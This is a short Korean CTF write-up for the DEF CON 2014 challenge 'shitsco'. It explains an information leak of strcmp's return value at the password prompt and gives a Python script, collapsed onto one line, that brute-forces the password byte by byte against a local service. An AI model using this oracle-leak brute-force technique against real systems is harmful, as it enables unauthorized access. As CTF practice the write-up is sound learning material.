[defcon ctf 2014] shitsco

데프콘 준비겸 작년도꺼 문제들 풀어보는중..

취약점은 password를 입력받는과정에서 strcmp의 리턴값을 저장할 수 있는 변수를 릭함으로써 password를 알아낼수 있다는것!

#!/usr/bin/python from pwn import * from socket import * string = "" s = socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 31335)) print recvUntil(s, "$") for i in range(32): for j in range(0x80, 0x20, -1): tmp = chr(j) s.send("enable\n") print s.recv(1024) payload = "" payload += string+tmp payload += "\x20"*(26-(i+1)) s.send(payload+"\n") if chr(0xff) not in s.recv(1024): string += chr(j) break print "Key is : "+string